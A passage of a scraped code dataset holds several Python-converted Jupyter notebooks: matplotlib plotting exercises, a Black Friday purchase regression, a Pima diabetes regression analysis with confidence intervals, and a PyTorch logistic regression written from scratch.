our_forest.predict(test_features)\n\npredictions = pd.DataFrame(predictions,columns=[\"Wine Guess\"])\n\nprint(predictions.head())\n\nprint(test_targets.head())\n","repo_name":"jeffxu999/Machine-Learning-Tutorial","sub_path":"Random_Forest_Classifier_Machine_Learning_Tutorial.ipynb","file_name":"Random_Forest_Classifier_Machine_Learning_Tutorial.ipynb","file_ext":"py","file_size_in_byte":1115,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-jupyter-script","pt":"2"} +{"seq_id":"14141115271","text":"import matplotlib.pyplot as plt\nimport numpy as np\n\n# %matplotlib inline\n\nx = np.linspace(-3,3,10)\ny = np.exp(x)\nx\n\ny\n\nplt.plot(x,y)\n\nplt.plot(x,y,'g^')\n\nplt.plot(x,y,'--')\n\nplt.plot(x,y,'r')\n\nplt.plot(x,y,'bo')\n\nplt.plot(x,y)\nplt.xlabel('x')\nplt.ylabel('y')\nplt.title('title')\n\nplt.plot(x,y, label = 'title')\nplt.xlabel('x')\nplt.ylabel('y')\nplt.xticks(np.arange(-3,3,0.5))\nplt.yticks([0,5,10,20])\nplt.legend()\nplt.show()\n\nx = np.linspace(-3,3,10)\ny1 = np.exp(x)\ny2 = np.exp(x)*2\nplt.plot(x,y1, label='y1')\nplt.plot(x,y2, label='y2')\nplt.legend()\nplt.axis('off')\n\n# +\nx = np.linspace(-3,3,10)\ny1 = np.exp(x)\ny2 = x*x\n\n\nplt.subplot(1,2,1)\nplt.plot(x,y1, label='y1')\nplt.legend()\n\nplt.subplot(1,2,2)\nplt.plot(x,y2, label='y2')\nplt.legend()\n# -\n\nfig = plt.figure()\nax1 = fig.add_subplot(1,2,1)\nax2 = fig.add_subplot(1,2,2)\nax1.plot(x,y1)\nax2.plot(x,y2)\n\nfig, axes = plt.subplots(nrows=1, ncols=2)\naxes[0].plot(x,y1)\naxes[1].plot(x,y2)\n\nfig, axes = plt.subplots()\naxes.plot(x,y1)\n\nfig, axes = plt.subplots(3,3)\naxes[1,2].plot(x,y1)\n\nfig, axes = plt.subplots(nrows=1, ncols=2)\naxes[0].plot(x, y1, label='something')\naxes[1].plot(x, y1)\naxes[0].set_xlabel('xlabel1')\naxes[0].set_ylabel('xlabel2')\naxes[0].set_title('plot title')\naxes[0].set_xticks([-3, -2, -1, 3])\naxes[0].set_yticks([0, 10, 20])\naxes[0].legend()\naxes[1].axis('off')\n\nfig, axes = plt.subplots(figsize=(10,7))\naxes.plot(x,y1)\n\n# +\nfig, axes = plt.subplots(2, 1, figsize=(10, 6))\naxes[0,].plot(x, y1)\naxes[1,].plot(x, x*x)\n \naxes[0,].set_title('first')\naxes[1,].set_title('second')\n \naxes[0,].set_xlabel('x')\naxes[0,].set_ylabel('y')\naxes[1,].set_xlabel('x')\naxes[1,].set_ylabel('y')\n \nfig.savefig('savefig_sample.png')\n\n# +\nfig, axes = plt.subplots(2, 1, figsize=(10, 6))\naxes[0,].plot(x, y1)\naxes[1,].plot(x, x*x)\n \naxes[0,].set_title('first')\naxes[1,].set_title('second')\n \naxes[0,].set_xlabel('x')\naxes[0,].set_ylabel('y')\naxes[1,].set_xlabel('x')\naxes[1,].set_ylabel('y')\n\nplt.tight_layout()\n\nfig.savefig('savefig_sample2.png')\n# -\n\nfig, axes = plt.subplots()\naxes.plot(x, y1, label='first')\naxes.plot(x, y2, label='second')\naxes.plot(x, y1+y2, label='first + second')\naxes.legend()\n\n# +\nfrom matplotlib.backends.backend_pdf import PdfPages\npdf = PdfPages('savefig_sample.pdf')\n\nfig, axes = plt.subplots()\naxes.plot(x, y1, label='first')\naxes.plot(x, y2, label='second')\naxes.plot(x, y1+y2, label='first + second')\naxes.legend()\n\npdf.savefig(fig)\npdf.close()\n\n# +\npdf = PdfPages('savemultifig_sample.pdf')\nfor i in range(0, 10):\n #------グラフ作成--------\n fig, axes = plt.subplots()\n axes.plot(x, y1 + x*i)\n axes.set_title('ID:#{}'.format(i))\n pdf.savefig(fig)\n \npdf.close()\n# -\n\nplt.plot(x, y, color='red', lw=1, ls='--', marker='o', markersize=5, markerfacecolor='yellow', markeredgecolor='blue', markeredgewidth=4, alpha=0.5)\n\nimport pandas as pd\ndf = pd.read_csv('train.csv')\nplt.scatter(df['Age'], df['Fare'], alpha=0.3)\n\nplt.hist(df['Age'],bins=10)\nplt.show()\n\ndf = df.dropna(subset=['Age']) #NaNを切り捨てる\nplt.boxplot(df['Age'])\nplt.show()\n\n\n","repo_name":"Riq-s/Python_study_log","sub_path":"matplotlib.ipynb","file_name":"matplotlib.ipynb","file_ext":"py","file_size_in_byte":3042,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-jupyter-script","pt":"2"} +{"seq_id":"6234317475","text":"import numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\nimport seaborn as sns\nimport warnings\nwarnings.filterwarnings('ignore')\n# %matplotlib inline\n\ndf=pd.read_csv('BlackFriday.csv')\n\ndf.head()\n\ndf.tail()\n\ndf.shape\n\ndf.columns\n\ndf.info()\n\ndf.dtypes\n\ndf.isnull().sum()\n\nsns.heatmap(df.isnull())\n\ndf=df.fillna(0)\n\nsns.heatmap(df.isnull())\n\ndf.duplicated().sum()\n\n\ndf.describe()\n\n# +\n# Exploratory Data Analysis\n# -\n\nsns.countplot(df.Gender)\n\nsns.countplot(df.Marital_Status)\n\nsns.distplot(df.Purchase)\n\nsns.countplot(df.City_Category)\n\nsns.countplot(df.Occupation)\n\nsns.countplot(df.Age)\n\ndf.groupby('Age')[['Purchase']].describe()\n\nfig,ax=plt.subplots(1,2,figsize=(15,6))\nsns.boxplot(y='Purchase',data=df,x='Product_Category_2',palette='Set2',ax=ax[0])\nsns.countplot(x= 'Product_Category_2',ax=ax[1], data= df)\n\ndf.corr()\n\nfig=plt.figure(figsize=(12,8))\nsns.heatmap(df.corr(),annot=True)\n\n# Data Preprocessing\ndf['Stay_In_Current_City_Years'].replace('4+', 4, inplace = True)\n\n# +\n# label encoding\n\nfrom sklearn.preprocessing import LabelEncoder\n\nle = LabelEncoder()\n\ndf['Gender'] = le.fit_transform(df['Gender'])\ndf['City_Category'] = le.fit_transform(df['City_Category'])\ndf['Age'] = le.fit_transform(df['Age'])\n\n# -\n\nX= df.drop(['User_ID', 'Product_ID','Purchase'], axis =1)\ny=df.Purchase\n\nfrom sklearn.model_selection import train_test_split\nX_train,X_test,y_train,y_test=train_test_split(X,y,test_size=0.3,random_state=15)\n\nX_train.shape, y_train.shape\n\n# +\n# standardization\n\nfrom sklearn.preprocessing import StandardScaler\n\nsc = StandardScaler()\nX_train = sc.fit_transform(X_train)\nX_test = sc.fit_transform(X_test)\n\n# +\n# Linear Regression\n\n# +\nfrom sklearn.linear_model import LinearRegression\nfrom sklearn.metrics import r2_score\nfrom sklearn.metrics import mean_squared_error\n\nlr=LinearRegression()\nlr.fit(X_train,y_train)\ny_pred=lr.predict(X_test)\n# finding the mean_squared error\nmse = mean_squared_error(y_test, y_pred)\nprint(\"RMSE Error:\", np.sqrt(mse))\n\n# finding the r2 score or the variance\nr2 = r2_score(y_test, y_pred)\nprint(\"R2 Score:\", r2) \n\n# +\n# Ridge Regression\n# -\n\nfrom sklearn.linear_model import Ridge\nr=Ridge()\nlr.fit(X_train,y_train)\nr_pred=lr.predict(X_test)\n\n# +\n# finding the mean_squared error\nmse = mean_squared_error(y_test, r_pred)\nprint(\"RMSE Error:\", np.sqrt(mse))\n\n# finding the r2 score or the variance\nr2 = r2_score(y_test, r_pred)\nprint(\"R2 Score:\", r2)\n\n# +\n# ElasticNet Regression\n\n# +\nfrom sklearn.linear_model import ElasticNet\nmodel=ElasticNet()\nmodel.fit(X_train,y_train)\ne_pred=model.predict(X_train)\n\ny_pred = model.predict(X_test)\n\n\n# finding the mean_squared error\nmse = mean_squared_error(y_test, y_pred)\nprint(\"RMSE Error:\", np.sqrt(mse))\n\n# +\n# Lasso Regression\n\n# +\nfrom sklearn.linear_model import Lasso\nfrom sklearn.metrics import r2_score\nfrom sklearn.metrics import mean_squared_error\n\nfrom math import *\n\nmodel = Lasso()\nmodel.fit(X_train, y_train)\n\ny_pred = model.predict(X_test)\n\n\n# finding the mean_squared error\nmse = mean_squared_error(y_test, y_pred)\nprint(\"RMSE Error:\", np.sqrt(mse))\n\n# finding the r2 score or the variance\nr2 = r2_score(y_test, y_pred)\nprint(\"R2 Score:\", r2)\n# -\n\n\n\n\n","repo_name":"wallace-agyei/Machine-Learning-Projects","sub_path":"Black Friday Purchase Prediction.ipynb","file_name":"Black Friday Purchase Prediction.ipynb","file_ext":"py","file_size_in_byte":3172,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-jupyter-script","pt":"2"} +{"seq_id":"24148106258","text":"# # Data Analysis and Mining 2018/2019\n#\n# ## Project 1 - Regression Analysis\n\n# ### Index\n#\n#\n# > - [a)](#a) Selecting two features in our dataset with more or less “linear‐like” scatterplot\n# - [b)](#b) Building a linear regression of one of the features over the other and obtaining a normal probability plot of the standardized residuals from this regression\n# - [c)](#c) Taking the natural log of the dependent variable, performing a linear regression on the transformed features and obtaining a normal probability plot of the standardized residuals from this regression\n# - [d)](#d) The population regression equation of our model\n# - [e)](#e) The correlation and determinacy coefficients\n# - [f)](#f) Testing the statistical hypothesis for determining whether a linear relationship exists between the chosen variables\n# - [g)](#g) Constructing and interpreting a 95% confidence interval for the unknown true slope of the regression line\n# - [i)](#i) Constructing and interpreting a 95% confidence interval for the mean of the y‐variable at a fixed value of our choice ($x_p = 105$) of the other variable\n# - [j)](#j) Constructing and interpreting a 95% confidence interval for a randomly chosen value of the y‐variable at a fixed value of our choice ($x_p = 105$) of the other variable\n\n# ### Setup\n# We will make use of the following Python libraries:\n\n# +\n# Numpy for data management\nimport numpy as np\n\n# Pandas also for data management\nimport pandas as pd\n\n# Matplotlib for additional customization\nfrom matplotlib import pyplot as plt\n# %matplotlib inline\n\n# Seaborn for plotting and styling\nimport seaborn as sns\nsns.set_style(\"darkgrid\")\n\n# Stats modules\nimport statsmodels.api as sm\nimport scipy.stats as stats\n\n# Auxiliar libraries\nfrom sklearn.metrics import r2_score\n\n# Function to plot a scatter matrix\nfrom pandas.plotting import scatter_matrix\n\n# Functions for matrix operations\nfrom numpy.linalg import inv\nfrom numpy.linalg import det\nfrom numpy import dot\n\nimport warnings\nwarnings.filterwarnings(\"ignore\")\n# -\n\n# ### Dataset Metadata\n#\n# The dataset consists of several medical predictor variables and one target variable, Outcome. The predictor variables include the number of pregnancies the patient has had, their BMI, insulin level, age, and so on.\n#\n# 0. Pregnancies - Number of times pregnant\n# 1. Glucose - Plasma glucose concentration a 2 hours in an oral glucose tolerance test\n# 2. Blood Pressure - Diastolic blood pressure ($mm Hg$)\n# 3. Skin Thickness - Triceps skin fold thickness ($mm$)\n# 4. Insulin - 2-Hour serum insulin ($mu U/ml$)\n# 5. BMI - Body mass index ($Kg/m^2$)\n# 6. Diabetes Pedigree Function - Diabetes pedigree function\n# 7. Age - Age (years)\n# 8. Outcome - Class variable (0 or 1) 268 of 768 are 1, the others are 0\n\n# ### Load dataset\n\n# !du -h diabetes.csv\n\n# !head -10 diabetes.csv\n\n# Having a small glance at the data file we can check that: \n# - The data fits in RAM\n# - The data is structured, tabular and comma separated\n# - There is a header row\n# - No index column\n# - The features are all numerical continous and numerical discrete\n# - Some features have a high number of zeros (missing data)\n\n# load the text file\ndata = pd.read_csv('diabetes.csv')\ndata.shape\n\n# ### Cleaning the data\n# We will clean our data by removing the patients that do not have information about their Glucose, Blood Pressure, Skin Thickness, Insulin and BMI. These missing values are represented by zeros.\n\n# +\n# Removing patients with missing data\ndata = data[(data.Glucose!=0)\n & (data.BloodPressure !=0)\n & (data.SkinThickness !=0)\n & (data.Insulin !=0)\n & (data.BMI !=0)]\n\nprint('Data shape after cleaning: {0}'.format(data.shape))\n# -\n\n# ### Features to be analysed\n#\n# We will plot a scatter matrix to see if any two features have a “linear‐like” scatterplot.\n\n# +\ncolors_palette = {0: \"red\", 1: \"blue\"}\ncolors = [colors_palette[c] for c in data.loc[:,'Outcome']] \n\nscatter_matrix = scatter_matrix(data, alpha=0.3, figsize=(20,20), grid=True, diagonal='kde', color=colors)\nfor subaxis in scatter_matrix:\n for ax in subaxis:\n ax.xaxis.set_ticks([])\n ax.yaxis.set_ticks([])\nplt.savefig('Images/Scatter Matrix.png', dpi=300)\nplt.show()\n# -\n\n# \n\n# ## Selecting two features in our dataset with more or less “linear‐like” scatterplot\n\n# Analysing the scatter matrix we can see that the BMI and the Skin Thickness have a “linear‐like” scatterplot. So we will seek to model the relationship between the independent variable, the Skin Thickness, and the BMI (the dependent variable).\n\n# +\n# It's easier to work with numpy arrays\nif type(data) is not np.ndarray:\n data = data.to_numpy()\n \nx = data[:,3:4] # Skin Thickness - Independent Variable\ny = data[:,5] # BMI - Dependent Variable\n\nprint(x.shape, y.shape)\n# -\n\nax = sns.regplot(x=x, y=y, fit_reg=False, scatter_kws={'alpha':0.5})\nax.set(xlabel='Skin Thickness', \n ylabel='BMI');\n\n# The Scatter plot indicates positive linear relationship. There seems to be a few outliers when either the Skin Thickness or the BMI go above 50.\n\n# ### Linear Regression\n# To model a linear relationship between one independent and dependent variable, we'll consider\n#\n# $$Y = \\beta_0 + \\beta_1X$$\n\n# \n\n# ## Building a linear regression of one of the features over the other and obtaining a normal probability plot of the standardized residuals from this regression\n\n# +\nconstant_term = np.ones(len(x)) \n\n# append constant term as a column of x\nif x.shape[1] < 2:\n x = np.c_[constant_term, x]\n\nprint(x[:5])\n\n# +\nbeta = np.linalg.lstsq(x, y)[0]\nprint('Estimated coefficients:', beta)\n\nprint('\\nTo use the dot product function we have to state that the coefficients vector is of the shape (2,1)')\nprint('Old shape of coefficients array:',beta.shape)\nbeta = np.reshape(beta,(-1,1))\nprint('New shape of coefficients array:',beta.shape)\n# -\n\n# Doing Linear Regression with a library.\n\nresults = sm.OLS(y,x).fit()\nprint(results.summary())\n\n# ### Visualizing the estimator \n# Plotting the actual values of y and the predicted values from the relationship $X\\hat{\\beta}$.\n\n# +\n# compute new predictions\npredictions = dot(x,beta) \n\nax = sns.regplot(x=x[:,1], y=y, fit_reg=False, scatter_kws={'alpha':0.5})\nax.set(xlabel='Skin Thickness', \n ylabel='BMI',\n title='Linear Regression Relation bt. X & Y');\nplt.plot(x[:,1], predictions) # overlay a line plot over a scatter plot \nplt.savefig('Images/Linear Regression.png',dpi=300)\nplt.show()\n\n\n# -\n\n# ### Residuals and Goodness of Fit\n\n# +\n### SSTotal\ndef ss_total(y):\n avg = sum(y)/len(y)\n return sum((y-avg)**2)\n\n### SSResiduals & SSErrors\n# Watch out for broadcast effects\n# y shape is (209,) and predictions shape is (209,1)\n# shapes have to agree when using element-wise operations in numpy\n\n\n# The regression sum of squares, also called the explained sum of squares:\ndef ss_reg(pred, y):\n avg = sum(y)/len(y)\n # returns array for some reason. Access 1st position\n return sum((pred - avg)**2)[0]\n\n# The sum of squares of residuals, also called the residual sum of squares:\ndef ss_res(pred, y):\n # reshape y from (209,) to (209,1)\n # returns array for some reason. Access 1st position\n return sum((np.reshape(y,(-1,1)) - pred)**2)[0]\n\n# SStotal\nsstotal = ss_total(y)\n\n# We could also obtain SStotal using the target's variance\n# don't forget to get an unbiased estimate of the variance \nss_total_using_variance = (len(y) - 1 ) * np.var(y, ddof=1) \n\n# SSReg\nssreg = ss_reg(predictions, y)\n\n# SSRes\nssres = ss_res(predictions, y)\n\n### R^2\nrsq_with_intercept = 1 - (ssres / sstotal)\n\nprint('SStotal:', round(sstotal,4))\nprint('SSreg:', round(ssreg,4))\nprint('SSres:', round(ssres,4))\nprint('Coefficient of Determinacy, model with intercept:', np.round(rsq_with_intercept,2))\n\n# +\nfig, axs = plt.subplots(ncols=2, # Set the number of columns to split the figure in\n figsize=(16, 6)) # size of the whole figure\n\n# re-computing our model values\npredictions = dot(x,beta)\nresiduals = y - predictions[:,0]\ndegrees_of_freedom = len(y) - x.shape[1]\n\nsm.qqplot(residuals, \n stats.t,\n distargs=(degrees_of_freedom,), \n line='q', \n ax=axs[0])\naxs[0].set_title(label = 'Q-Q plot')\naxs[0].set_xlim(-3.5,3.5)\n\n# s = √MSE = √(SSE/(n−m−1))\n# standard error of the estimate = residuals standard error\ns = residuals_standard_error = np.sqrt(ssres / degrees_of_freedom)\n\nmean_independent_variable = sum(x[:,1]) / len(x[:,1])\n\nleverage = (1 / len(x[:,1])) + (x[:,1] - mean_independent_variable)**2 / sum((x[:,1] - mean_independent_variable)**2)\n\nstandardized_rediduals = (y - predictions[:,0]) / (residuals_standard_error * np.sqrt(1 - leverage))\n\nsns.regplot(x=predictions[:,0], \n y=standardized_rediduals, \n ax=axs[1],\n lowess=True, \n scatter_kws={'alpha':0.3}, \n line_kws={\"color\":\"r\",\"alpha\":0.4,\"lw\":2})\naxs[1].axhline(0,color='r')\naxs[1].set_ylim(-3.5,3.5)\naxs[1].set(ylabel='Standardized Residuals', \n xlabel='Fitted values');\naxs[1].set_title(label = 'Standardized Residuals vs Fitted values')\nplt.savefig('Images/Q-Q plot and Standardized Residuals vs Fitted values', dpi=300)\n# -\n\n# Almost all of our data lines up nicely along the straight line, although the left tail deviates slightly and the right tail deviates a considerable amount. There are around 13 outliers and there's left skewness.\n# The probability plot indicates acceptable normality and is left skewed. The Normality assumption is valid.\n\n# ### Feature Engineering\n#\n# Doing regression analysis with a Log transformation on the dependent variable.\n\n# \n\n# ## Taking the natural log of the dependent variable, performing a linear regression on the transformed features and obtaining a normal probability plot of the standardized residuals from this regression\n\n# Unnecessary since we already removed the patients with Skin Thickness or BMI = 0\nmask = y != 0\ny_masked = y[mask]\nx_masked = x[mask]\ny_masked = np.log(y_masked)\nbeta = np.linalg.lstsq(x_masked, y_masked)[0]\nbeta = np.reshape(beta,(-1,1))\nprint('Estimated coefficients:', beta[:,0])\n\n# +\n# estimate the coefficients\nbeta = np.linalg.lstsq(x_masked, y_masked)[0]\nprint('Estimated coefficients:', beta)\nbeta = np.reshape(beta,(-1,1))\n\n# compute new predictions\npredictions = dot(x_masked,beta) \n\nax = sns.regplot(x=x_masked[:,1], y=y_masked, fit_reg=False, scatter_kws={'alpha':0.5})\nax.set(xlabel='Skin Thickness', \n ylabel='Log BMI',\n title='Linear Regression Relation bt. X & Log(Y)');\nplt.plot(x_masked[:,1], predictions) # overlay a line plot over a scatter plot\nplt.show()\n\n# +\n# SStotal\nsstotal = ss_total(y_masked)\n\n# SSReg\nssreg = ss_reg(predictions, y_masked)\n\n# SSRes\nssres = ss_res(predictions, y_masked)\n\n### R^2\nrsq = 1 - (ssres / sstotal)\n\nprint('SStotal:', round(sstotal,4))\nprint('SSreg:', round(ssreg,4))\nprint('SSres:', round(ssres,4))\nprint('Coefficient of Determinacy:', np.round(rsq,2))\n\n# +\n# compute new predictions\npredictions = np.exp(dot(x_masked,beta)) \n\n# order the data first\ntemp = np.c_[x[:,1], predictions]\n# sort by first column\ntemp = temp[temp[:,0].argsort()]\n\nax = sns.regplot(x=x[:,1], y=y, fit_reg=False, scatter_kws={'alpha':0.5})\nax.set(xlabel='Skin Thickness', \n ylabel='BMI',\n title='Linear Regression bt. X & Log(Y)');\n\n# Remeber that the instruction plot \nplt.plot(temp[:,0], temp[:,1]) # overlay a line plot over a scatter plot\nplt.savefig('Images/Linear Regression with Log(Y).png',dpi=300)\nplt.show()\n\n# +\nfig, axs = plt.subplots(ncols=2, # Set the number of columns to split the figure in\n figsize=(16, 6)) # size of the whole figure\n\n# re-computing our model values\npredictions = dot(x_masked,beta)\nresiduals = y_masked - predictions[:,0]\ndegrees_of_freedom = len(x_masked) - x.shape[1]\n\nsm.qqplot(residuals, \n stats.t,\n distargs=(degrees_of_freedom,), \n line='q', \n ax=axs[0])\naxs[0].set_title(label = 'Q-Q plot')\naxs[0].set_xlim(-3.5,3.5)\n\n\nresiduals_standard_error = np.sqrt(ssres / degrees_of_freedom)\nmean_independent_variable = sum(x_masked[:,1]) / len(x_masked[:,1])\nleverage = (1 / len(x_masked[:,1])) + (x_masked[:,1] - mean_independent_variable)**2 / sum((x_masked[:,1] - mean_independent_variable)**2)\nstandardized_rediduals = (y_masked - predictions[:,0]) / (residuals_standard_error * np.sqrt(1 - leverage))\n\nsns.regplot(x=predictions[:,0], \n y=standardized_rediduals, \n ax=axs[1],\n lowess=True, \n scatter_kws={'alpha':0.3}, \n line_kws={\"color\":\"r\",\"alpha\":0.4,\"lw\":2})\naxs[1].axhline(0,color='r')\naxs[1].set_ylim(-3.5,3.5)\naxs[1].set(ylabel='Standardized Residuals', \n xlabel='Fitted values');\naxs[1].set_title(label = 'Standardized Residuals vs Fitted values');\nplt.savefig('Images/Q-Q plot and Standardized Residuals vs Fitted values Log(y)',dpi=300)\n# -\n\n# The tails slightly deviate from the straight line having 7 outliers.\n# The probability plot indicates acceptable normality and slight left and right skewness.\n\n# +\n# Recover old values\npredictions = dot(x,beta)\nresiduals = y - predictions[:,0]\ndegrees_of_freedom = len(x) - x.shape[1]\nbeta = np.linalg.lstsq(x, y)[0]\n# To use the dot product function we have to state that the coefficients vector is of the shape (2,1)\nbeta = np.reshape(beta,(-1,1))\n\n\nprint('x range: [{0}, {1}], y range: [{2}, {3}]'.format(np.min(x),np.max(x),np.min(y),np.max(y)))\n# -\n\n# \n\n# ## The population regression equation of our model\n\n# ### Population Regression Equation\n#\n# ${ BMI = 20.14686217 + 0.44395886 \\cdot SkinThickness}$ + ε\n#\n# This means that for example a Pima Indian woman with a skin thickness of ${30mm}$ has estimated 20.14686217 + 0.44395886(30) = 33.46562797 roughtly a BMI of 33 ${kg/m^2}$\n\n# \n\n# ## The correlation and determinacy coefficients\n\nprint('Coefficient of Determinacy:', np.round(results.rsquared,2))\nprint('Correlation:',round(np.corrcoef(y_masked,x_masked[:,1])[0,1],2))\n\n# The Coefficient of Determinacy has a low score of 0.44 indicating that the regression line isn't useful for making predictions.
\n# The Correlation Coefficient (0.67) is positive indicating that the variables are positively correlated.\n\n# ### T-test for Relationship bt x and y\n#\n# H0: asserts β1 = 0 (no linear relationship exists)
\n# Ha: asserts β1 ≠ 0 (linear relationship exists)\n\n# \n\n# ## Testing the statistical hypothesis for determining whether a linear relationship exists between the chosen variables\n\n# +\nexpected_value = 0.0\n\n# For each coefficient\nfor i in range(len(beta)):\n ttest = results.tvalues[i]\n\n #Degrees of freedom\n df = x_masked.shape[0] - (i+1)\n # https://stats.stackexchange.com/a/140395\n \n pval = stats.t.sf(np.abs(ttest), df)*2 # two-sided pvalue = Prob(abs(t)>tt)\n # https://docs.scipy.org/doc/scipy/reference/tutorial/stats.html#t-test-and-ks-test\n\n\n print('Test statistc for coefficient estimate ',i,':',ttest,'| P-value:', np.round(pval,8))\n# -\n\n# T-test rejects Ho when p-value small.
\n# 0.05 used as rejection threshold.
\n# **Because p-value ~ 0.000, we reject H0.**
\n# This indicates that a linear relationship exists between Skin Thickness and Body Mass Index.\n\n# \n\n# ## Constructing and interpreting a 95% confidence interval for the unknown true slope of the regression line\n\n# +\ndf = len(x) - 2\nalpha = .05 / 2 # Two-tail test\none_minus_alpha = 1 - alpha\nt_student_values = stats.t.ppf( [alpha,one_minus_alpha], df)\nstde = results.params + t_student_values * results.bse,results.params - t_student_values * results.bse\nstde = np.array([[stde[0][0],stde[1][0]],[stde[1][1],stde[0][1]]])\n\nprint('β0 = {0}\\nβ1 = {1}'.format(np.round(stde[0],4),np.round(stde[1],4)))\n# -\n\n# Confidence interval equals = [0.3942, 0.4937]\n#\n# 95% confident true slope of regression line lies between 0.3942 and 0.4937\n#\n# For each additional millimeter of Skin Thickness, the Body Mass Index ($kg/m^2$) increases between 0.3942 and 0.4937 points.\n#\n# Since β1 = 0 is not contained in (0.3942, 0.4937), we are 95% confident of significance in linear relationship between Skin Thickness and BMI.\n\n# \n\n# ## Constructing and interpreting a 95% confidence interval for the mean of the y‐variable at a fixed value of our choice of the other variable ($x_{p=105} = 30$)\n\n# +\ndf = len(x) - 2\nalpha = .05 / 2 # Two-tail test\none_minus_alpha = 1 - alpha\nt_student_values = stats.t.ppf( [alpha,one_minus_alpha], df)\nstde = predictions + t_student_values * s * np.sqrt((1/len(x))+(((x-mean_independent_variable)**2)/sum((x-mean_independent_variable)**2)))\n\nxp = 105\n\nprint('For xp = {0} yp = {1}, ȳ = {2}'.format(x[xp,1],y[xp],np.round(stde[xp],4)))\n# -\n\n# We're 95% confident that the mean Body Mass Index of all Pima women with a Skin Thickness of 30$mm$, lies between 32.727 and 33.9896 $kg/m^2$.\n\n# \n\n# ## Constructing and interpreting a 95% confidence interval for a randomly chosen value of the y‐variable at a fixed value of our choice of the other variable ($x_{p=105} = 30$)\n\n# +\ndf = len(x) - 2\nalpha = .05 / 2 # Two-tail test\none_minus_alpha = 1 - alpha\nt_student_values = stats.t.ppf( [alpha,one_minus_alpha], df)\nstde = predictions + t_student_values * s * np.sqrt(1+(1/len(x))+(((x-mean_independent_variable)**2)/sum((x-mean_independent_variable)**2)))\n\nxp = 105\n\nprint('For xp = {0} with yp = {1}, ȳ = {2}'.format(x[xp,1],y[xp],np.round(stde[xp],4)))\n# -\n\n# We're 95% confident that the Body Mass Index of a randomly selected Pima Woman with a Skin Thickness of 30$mm$, lies between 23.0991 and 43.8191 $kg/m^2$.\n#\n# This is a very wide interval containing values that represent very different Pima women ranging from the healthy weight range to the obese range.\n#\n# According to the UK's __[NHS](https://www.nhs.uk/common-health-questions/lifestyle/what-is-the-body-mass-index-bmi/)__:\n# > Below 18.5 – you're in the underweight range
\n# Between 18.5 and 24.9 – you're in the healthy weight range
\n# Between 25 and 29.9 – you're in the overweight range
\n# Between 30 and 39.9 – you're in the obese range \n#\n# For this reason we consider that this prediction interval is not useful.\n","repo_name":"diogit/Data-Analysis-Project","sub_path":"Project 1 - Regression Analysis.ipynb","file_name":"Project 1 - Regression Analysis.ipynb","file_ext":"py","file_size_in_byte":18389,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-jupyter-script","pt":"2"} +{"seq_id":"69814550127","text":"# # 逻辑回归从零开始实现\n\nimport torch\nimport numpy as np\nimport matplotlib.pyplot as plt\n\n# ## 1 人工构造数据集 以及读取数据\n\nn_data = torch.ones(50, 2) # 数据的基本形态\nx1 = torch.normal(2 * n_data, 1) # shape=(50, 2)\ny1 = torch.zeros(50) # 类型0 shape=(50, 1)\nx2 = torch.normal(-2 * n_data, 1) # 类型1 shape=(50, 2)\ny2 = torch.ones(50) # 类型1 shape=(50, 1)\n# 注意 x, y 数据的数据形式是一定要像下面一样 (torch.cat 是在合并数据)\n# 将数据分为训练集和验证集 20%为验证集\nX_train = torch.cat((x1[10:], x2[10:]), 0).type(torch.FloatTensor)\ny_train = torch.cat((y1[10:], y2[10:]), 0).type(torch.FloatTensor)\n# 验证集\nX_test = torch.cat((x1[:10], x2[:10]), 0).type(torch.FloatTensor)\ny_test = torch.cat((y1[:10], y2[:10]), 0).type(torch.FloatTensor)\n\nplt.scatter(X_train.data.numpy()[:, 0], X_train.data.numpy()[:, 1], c=y_train.data.numpy(), s=50, cmap='RdYlGn')\nplt.show()\n\nnum_inputs = 2\ndef data_iter(batch_size, features, labels):\n num_examples = len(features)\n indices = list(range(num_examples))\n np.random.shuffle(indices)\n for i in range(0, num_examples, batch_size):\n j = torch.LongTensor(indices[i: min(i + batch_size, num_examples)])\n yield features.index_select(0, j), labels.index_select(0, j)\n\n\n# ## 2 初始化模型参数\n\nw = torch.tensor(np.random.normal(0, 0.01, (num_inputs, 1)), dtype=torch.float32, requires_grad=True)\nb = torch.zeros(1, dtype=torch.float32, requires_grad=True)\nw, b\n\n\n# ## 3 定义模型\n\n# +\ndef sigmoid(z):\n return 1 / (1 + torch.exp(-z))\n\n\ndef logical(X, w, b):\n return sigmoid(torch.mm(X, w) + b)\n# -\n\n\n\nlogical(X_train, w, b) # 检测是否错误\n\n\n# ## 4 定义优化算法\n\ndef sgd(params, lr, batch_size):\n for param in params:\n param.data -= lr * param.grad / batch_size\n\n\n# ## 5 定义损失函数\n\n# 定义二元交叉熵函数\ndef Cross_Entropy_loss(y_hat, y, batch_size):\n return -1/batch_size * ((y.view(y_hat.shape) * torch.log(y_hat) + (1 - y.view(y_hat.shape)) * torch.log(1 - y_hat)).sum())\n\n\nloss = Cross_Entropy_loss(logical(X_train, w, b), y_train, X_train.shape[0])\nloss\n\n\n# ## 6 训练模型\n\ndef predict(X, w, b):\n Pre = net(X, w, b)\n result = []\n for p in Pre:\n if p > 0.5:\n result.append(1)\n else:\n result.append(0)\n return result\n\n\ndef accuracy(X, y, w, b): \n pred = torch.tensor(predict(X, w, b))\n L = (pred == y).float().mean().item()\n return L\n\n\n\nlr = 0.1\nnum_epochs = 300\nnet = logical\nloss = Cross_Entropy_loss\nbatch_size = 40\nloss_train = []\nloss_test = []\nacc_train = []\nacc_test = []\nfor epoch in range(num_epochs):\n for datas, labels in data_iter(batch_size, X_train, y_train):\n l = loss(net(datas, w, b), labels, batch_size)\n l.backward()\n sgd([w, b], lr, batch_size)\n w.grad.data.zero_()\n b.grad.data.zero_()\n \n #记录每一个epoch的值 \n train_l = loss(net(X_train, w, b), y_train, X_train.shape[0])\n loss_train.append(train_l.item())\n train_acc = accuracy(X_train, y_train, w, b)\n acc_train.append(train_acc * 100)\n \n loss_test.append(loss(net(X_test, w, b), y_test, X_test.shape[0]).item())\n acc_test.append(accuracy(X_test, y_test, w, b) * 100)\n print('epoch %d, loss_train: %f, acc_train: %.f' % (epoch + 1, train_l.item(), train_acc * 100), '%')\n# print('epoch %d, loss_train: %f' % (epoch + 1, train_l.item()))\n\n# ## 7 结果可视化\n\nRes = predict(X_test, w, b)\n\nplt.subplot(1, 2, 